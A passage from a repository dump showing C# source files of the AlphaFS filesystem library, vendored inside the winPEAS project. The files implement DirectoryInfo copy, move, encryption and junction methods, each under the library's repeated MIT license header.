copyOptions, null, null, progressHandler, userProgressData, out destinationPathLp, pathFormat); UpdateSourcePath(destinationPath, destinationPathLp); return cmr; } /// [AlphaFS] Copies an existing directory to a new directory, allowing the overwriting of an existing directory, can be specified. /// /// Returns a new directory, or an overwrite of an existing directory if is not . /// If the directory exists and contains , an is thrown. /// /// /// Option is recommended for very large file transfers. /// Use this method to allow or prevent overwriting of an existing directory. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// The specification of custom filters to be used in the process. [SecurityCritical] public DirectoryInfo CopyTo(string destinationPath, CopyOptions copyOptions, DirectoryEnumerationFilters filters) { string destinationPathLp; CopyToMoveToCore(destinationPath, false, copyOptions, null, filters, null, null, out destinationPathLp, PathFormat.RelativePath); UpdateSourcePath(destinationPath, destinationPathLp); return new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath); } /// [AlphaFS] Copies an existing directory to a new directory, allowing the overwriting of an existing directory, can be specified. /// /// Returns a new directory, or an overwrite of an existing directory if is not . /// If the directory exists and contains , an is thrown. /// /// /// Option is recommended for very large file transfers. /// Use this method to allow or prevent overwriting of an existing directory. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// The specification of custom filters to be used in the process. /// Indicates the format of the path parameter(s). [SecurityCritical] public DirectoryInfo CopyTo(string destinationPath, CopyOptions copyOptions, DirectoryEnumerationFilters filters, PathFormat pathFormat) { string destinationPathLp; CopyToMoveToCore(destinationPath, false, copyOptions, null, filters, null, null, out destinationPathLp, pathFormat); UpdateSourcePath(destinationPath, destinationPathLp); return new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath); } /// [AlphaFS] Copies an existing directory to a new directory, allowing the overwriting of an existing directory, can be specified /// and the possibility of notifying the application of its progress through a callback function. /// /// Returns a new directory, or an overwrite of an existing directory if is not . /// If the directory exists and contains , an is thrown. /// /// /// Option is recommended for very large file transfers. /// Use this method to allow or prevent overwriting of an existing directory. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// The specification of custom filters to be used in the process. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public DirectoryInfo CopyTo(string destinationPath, CopyOptions copyOptions, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData) { string destinationPathLp; CopyToMoveToCore(destinationPath, false, copyOptions, null, filters, progressHandler, userProgressData, out destinationPathLp, PathFormat.RelativePath); UpdateSourcePath(destinationPath, destinationPathLp); return new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath); } /// [AlphaFS] Copies an existing directory to a new directory, allowing the overwriting of an existing directory, can be specified /// and the possibility of notifying the application of its progress through a callback function. /// /// Returns a new directory, or an overwrite of an existing directory if is not . /// If the directory exists and contains , an is thrown. /// /// /// Option is recommended for very large file transfers. /// Use this method to allow or prevent overwriting of an existing directory. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// The destination directory path. /// that specify how the directory is to be copied. This parameter can be null. /// The specification of custom filters to be used in the process. /// A callback function that is called each time another portion of the directory has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public DirectoryInfo CopyTo(string destinationPath, CopyOptions copyOptions, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { string destinationPathLp; CopyToMoveToCore(destinationPath, false, copyOptions, null, filters, progressHandler, userProgressData, out destinationPathLp, pathFormat); UpdateSourcePath(destinationPath, destinationPathLp); return new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo CopyToMoveTo/DirectoryInfo.CopyToMoveToCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { /// Copy/move a Non-/Transacted file or directory including its children to a new location, /// or can be specified, and the possibility of notifying the application of its progress through a callback function. /// /// A class with details of the Copy or Move action. /// /// Option is recommended for very large file transfers. /// You cannot use the Move method to overwrite an existing file, unless contains . /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an IOException. /// /// /// /// /// /// /// /// The destination directory path. /// true if original Timestamps must be preserved, false otherwise. /// that specify how the file is to be copied. This parameter can be null. /// that specify how the file is to be moved. This parameter can be null. /// The specification of custom filters to be used in the process. /// A callback function that is called each time another portion of the file has been copied. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Returns the retrieved long full path. /// Indicates the format of the path parameter(s). [SecurityCritical] private CopyMoveResult CopyToMoveToCore(string destinationPath, bool preserveDates, CopyOptions? copyOptions, MoveOptions? moveOptions, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData, out string longFullPath, PathFormat pathFormat) { longFullPath = Path.GetExtendedLengthPathCore(Transaction, destinationPath, pathFormat, GetFullPathOptions.TrimEnd | GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck); return Directory.CopyMoveCore(new CopyMoveArguments { Transaction = Transaction, SourcePathLp = LongFullName, SourcePath = LongFullName, DestinationPathLp = longFullPath, DestinationPath = longFullPath, CopyOptions = preserveDates ? copyOptions | CopyOptions.CopyTimestamp : copyOptions & ~CopyOptions.CopyTimestamp, DirectoryEnumerationFilters = filters, MoveOptions = moveOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = PathFormat.LongFullPath }); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo CopyToMoveTo/DirectoryInfo.MoveTo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { #region .NET /// Moves a instance and its contents to a new path. /// /// Use this method to prevent overwriting of an existing directory by default. /// This method does not work across disk volumes. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// /// /// /// /// /// /// /// The name and path to which to move this directory. /// The destination cannot be another disk volume or a directory with the identical name. /// It can be an existing directory to which you want to add this directory as a subdirectory. /// [SecurityCritical] public void MoveTo(string destinationPath) { string destinationPathLp; CopyToMoveToCore(destinationPath, false, null, MoveOptions.None, null, null, null, out destinationPathLp, PathFormat.RelativePath); UpdateSourcePath(destinationPath, destinationPathLp); } #endregion // .NET /// [AlphaFS] Moves a instance and its contents to a new path. /// /// Use this method to prevent overwriting of an existing directory by default. /// This method does not work across disk volumes. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// A new instance if the directory was completely moved. /// /// /// /// /// /// /// /// The name and path to which to move this directory. /// The destination cannot be another disk volume or a directory with the identical name. /// It can be an existing directory to which you want to add this directory as a subdirectory. /// /// Indicates the format of the path parameter(s). [SecurityCritical] public DirectoryInfo MoveTo(string destinationPath, PathFormat pathFormat) { string destinationPathLp; CopyToMoveToCore(destinationPath, false, null, MoveOptions.None, null, null, null, out destinationPathLp, pathFormat); UpdateSourcePath(destinationPath, destinationPathLp); return new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath); } /// [AlphaFS] Moves a instance and its contents to a new path, can be specified. /// /// Use this method to allow or prevent overwriting of an existing directory. /// This method does not work across disk volumes unless contains . /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// A new instance if the directory was completely moved. /// /// /// /// /// /// /// /// The name and path to which to move this directory. /// The destination cannot be another disk volume unless contains , or a directory with the identical name. /// It can be an existing directory to which you want to add this directory as a subdirectory. /// /// that specify how the directory is to be moved. This parameter can be null. [SecurityCritical] public DirectoryInfo MoveTo(string destinationPath, MoveOptions moveOptions) { string destinationPathLp; CopyToMoveToCore(destinationPath, false, null, moveOptions, null, null, null, out destinationPathLp, PathFormat.RelativePath); UpdateSourcePath(destinationPath, destinationPathLp); return null != destinationPathLp ? new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath) : null; } /// [AlphaFS] Moves a instance and its contents to a new path, can be specified. /// /// Use this method to allow or prevent overwriting of an existing directory. /// This method does not work across disk volumes unless contains . /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// A new instance if the directory was completely moved. /// /// /// /// /// /// /// /// The name and path to which to move this directory. /// The destination cannot be another disk volume unless contains , or a directory with the identical name. /// It can be an existing directory to which you want to add this directory as a subdirectory. /// /// that specify how the directory is to be moved. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public DirectoryInfo MoveTo(string destinationPath, MoveOptions moveOptions, PathFormat pathFormat) { string destinationPathLp; CopyToMoveToCore(destinationPath, false, null, moveOptions, null, null, null, out destinationPathLp, pathFormat); UpdateSourcePath(destinationPath, destinationPathLp); return null != destinationPathLp ? new DirectoryInfo(Transaction, destinationPathLp, PathFormat.LongFullPath) : null; } /// [AlphaFS] Moves a instance and its contents to a new path, can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// /// /// Use this method to allow or prevent overwriting of an existing directory. /// This method does not work across disk volumes unless contains . /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// A class with details of the Move action. /// /// /// /// /// /// /// /// The name and path to which to move this directory. /// The destination cannot be another disk volume unless contains , or a directory with the identical name. /// It can be an existing directory to which you want to add this directory as a subdirectory. /// /// that specify how the directory is to be moved. This parameter can be null. /// A callback function that is called each time another portion of the directory has been moved. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public CopyMoveResult MoveTo(string destinationPath, MoveOptions moveOptions, CopyMoveProgressRoutine progressHandler, object userProgressData) { // Reject DelayUntilReboot. if ((moveOptions & MoveOptions.DelayUntilReboot) != 0) throw new ArgumentException("The DelayUntilReboot flag is invalid for this method.", "moveOptions"); string destinationPathLp; var cmr = CopyToMoveToCore(destinationPath, false, null, moveOptions, null, progressHandler, userProgressData, out destinationPathLp, PathFormat.RelativePath); UpdateSourcePath(destinationPath, destinationPathLp); return cmr; } /// [AlphaFS] Moves a instance and its contents to a new path, can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// /// /// Use this method to allow or prevent overwriting of an existing directory. /// This method does not work across disk volumes unless contains . /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// A class with details of the Move action. /// /// /// /// /// /// /// /// The name and path to which to move this directory. /// The destination cannot be another disk volume unless contains , or a directory with the identical name. /// It can be an existing directory to which you want to add this directory as a subdirectory. /// /// that specify how the directory is to be moved. This parameter can be null. /// A callback function that is called each time another portion of the directory has been moved. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public CopyMoveResult MoveTo(string destinationPath, MoveOptions moveOptions, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { // Reject DelayUntilReboot. if ((moveOptions & MoveOptions.DelayUntilReboot) != 0) throw new ArgumentException("The DelayUntilReboot flag is invalid for this method.", "moveOptions"); string destinationPathLp; var cmr = CopyToMoveToCore(destinationPath, false, null, moveOptions, null, progressHandler, userProgressData, out destinationPathLp, pathFormat); UpdateSourcePath(destinationPath, destinationPathLp); return cmr; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo Encryption/DirectoryInfo.Decrypt.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { /// [AlphaFS] Decrypts a directory that was encrypted by the current account using the Encrypt method. /// /// /// /// /// /// /// [SecurityCritical] public void Decrypt() { Directory.EncryptDecryptDirectoryCore(LongFullName, false, false, PathFormat.LongFullPath); } /// [AlphaFS] Decrypts a directory that was encrypted by the current account using the Encrypt method. /// /// /// /// /// /// /// /// true to decrypt the directory recursively. false only decrypt files and directories in the root of the directory. [SecurityCritical] public void Decrypt(bool recursive) { Directory.EncryptDecryptDirectoryCore(LongFullName, false, recursive, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo Encryption/DirectoryInfo.DisableEncryption.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { /// [AlphaFS] Disables encryption of the specified directory and the files in it. It does not affect encryption of subdirectories below the indicated directory. /// true on success, false otherwise. /// This method will create/change the file "Desktop.ini" and wil set Encryption value: "Disable=0" [SecurityCritical] public void DisableEncryption() { Directory.EnableDisableEncryptionCore(LongFullName, false, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo Encryption/DirectoryInfo.EnableEncryption.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { /// [AlphaFS] Enables encryption of the specified directory and the files in it. It does not affect encryption of subdirectories below the indicated directory. /// true on success, false otherwise. /// This method will create/change the file "Desktop.ini" and wil set Encryption value: "Disable=1" [SecurityCritical] public void EnableEncryption() { Directory.EnableDisableEncryptionCore(LongFullName, true, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo Encryption/DirectoryInfo.Encrypt.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { /// [AlphaFS] Encrypts a directory so that only the account used to encrypt the directory can decrypt it. /// /// /// /// /// /// /// [SecurityCritical] public void Encrypt() { Directory.EncryptDecryptDirectoryCore(LongFullName, true, false, PathFormat.LongFullPath); } /// [AlphaFS] Decrypts a directory that was encrypted by the current account using the Encrypt method. /// /// /// /// /// /// /// /// true to encrypt the directory recursively. false only encrypt files and directories in the root of the directory. [SecurityCritical] public void Encrypt(bool recursive) { Directory.EncryptDecryptDirectoryCore(LongFullName, true, recursive, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo Junctions, Links/DirectoryInfo.CreateJunction.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { /// [AlphaFS] Converts the instance into a directory junction instance (similar to CMD command: "MKLINK /J"). /// ///   /// The directory must be empty and reside on a local volume. /// /// ///   /// MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories, /// and a junction can link directories located on different local volumes on the same computer. /// Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points. /// /// /// /// /// /// /// /// /// The path of the junction point to create. [SecurityCritical] public void CreateJunction(string junctionPath) { UpdateSourcePath(junctionPath, Directory.CreateJunctionCore(Transaction, junctionPath, LongFullName, false, false, PathFormat.RelativePath)); RefreshEntryInfo(); } /// [AlphaFS] Converts the instance into a directory junction instance (similar to CMD command: "MKLINK /J"). /// ///   /// The directory must be empty and reside on a local volume. /// /// ///   /// MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories, /// and a junction can link directories located on different local volumes on the same computer. /// Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points. /// /// /// /// /// /// /// /// /// The path of the junction point to create. /// Indicates the format of the path parameter(s). [SecurityCritical] public void CreateJunction(string junctionPath, PathFormat pathFormat) { UpdateSourcePath(junctionPath, Directory.CreateJunctionCore(Transaction, junctionPath, LongFullName, false, false, pathFormat)); RefreshEntryInfo(); } /// [AlphaFS] Converts the instance into a directory junction instance (similar to CMD command: "MKLINK /J"). /// ///   /// The directory must be empty and reside on a local volume. /// /// ///   /// MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories, /// and a junction can link directories located on different local volumes on the same computer. /// Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points. /// /// /// /// /// /// /// /// /// The path of the junction point to create. /// true to overwrite an existing junction point. The directory is removed and recreated. [SecurityCritical] public void CreateJunction(string junctionPath, bool overwrite) { UpdateSourcePath(junctionPath, Directory.CreateJunctionCore(Transaction, junctionPath, LongFullName, overwrite, false, PathFormat.RelativePath)); RefreshEntryInfo(); } /// [AlphaFS] Converts the instance into a directory junction instance (similar to CMD command: "MKLINK /J"). /// ///   /// The directory must be empty and reside on a local volume. /// /// ///   /// MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories, /// and a junction can link directories located on different local volumes on the same computer. /// Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points. /// /// /// /// /// /// /// /// /// The path of the junction point to create. /// true to overwrite an existing junction point. The directory is removed and recreated. /// Indicates the format of the path parameter(s). [SecurityCritical] public void CreateJunction(string junctionPath, bool overwrite, PathFormat pathFormat) { UpdateSourcePath(junctionPath, Directory.CreateJunctionCore(Transaction, junctionPath, LongFullName, overwrite, false, pathFormat)); RefreshEntryInfo(); } /// [AlphaFS] Converts the instance into a directory junction instance (similar to CMD command: "MKLINK /J"). /// ///   /// The directory must be empty and reside on a local volume. /// /// ///   /// MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories, /// and a junction can link directories located on different local volumes on the same computer. /// Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points. /// /// /// /// /// /// /// /// /// The path of the junction point to create. /// true to overwrite an existing junction point. The directory is removed and recreated. /// true to copy the target date and time stamps to the directory junction. [SecurityCritical] public void CreateJunction(string junctionPath, bool overwrite, bool copyTargetTimestamps) { UpdateSourcePath(junctionPath, Directory.CreateJunctionCore(Transaction, junctionPath, LongFullName, overwrite, copyTargetTimestamps, PathFormat.RelativePath)); RefreshEntryInfo(); } /// [AlphaFS] Converts the instance into a directory junction instance (similar to CMD command: "MKLINK /J"). /// ///   /// The directory must be empty and reside on a local volume. /// /// ///   /// MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories, /// and a junction can link directories located on different local volumes on the same computer. /// Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points. /// /// /// /// /// /// /// /// /// The path of the junction point to create. /// true to overwrite an existing junction point. The directory is removed and recreated. /// true to copy the target date and time stamps to the directory junction. /// Indicates the format of the path parameter(s). [SecurityCritical] public void CreateJunction(string junctionPath, bool overwrite, bool copyTargetTimestamps, PathFormat pathFormat) { UpdateSourcePath(junctionPath, Directory.CreateJunctionCore(Transaction, junctionPath, LongFullName, overwrite, copyTargetTimestamps, pathFormat)); RefreshEntryInfo(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo Junctions, Links/DirectoryInfo.DeleteJunction.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public sealed partial class DirectoryInfo { /// [AlphaFS] Removes the directory junction. ///   /// /// Only the directory junction is removed, not the target. /// /// A instance referencing the junction point. /// /// /// /// /// /// /// [SecurityCritical] public void DeleteJunction() { Directory.DeleteJunctionCore(Transaction, null, LongFullName, false, PathFormat.LongFullPath); RefreshEntryInfo(); } /// [AlphaFS] Removes the directory junction. ///   /// /// Only the directory junction is removed, not the target. /// /// A instance referencing the junction point. /// /// /// /// /// /// /// /// When true, also removes the directory and all its contents. [SecurityCritical] public void DeleteJunction(bool removeDirectory) { Directory.DeleteJunctionCore(Transaction, null, LongFullName, removeDirectory, PathFormat.LongFullPath); RefreshEntryInfo(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo Junctions, Links/DirectoryInfo.ExistsJunction.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY 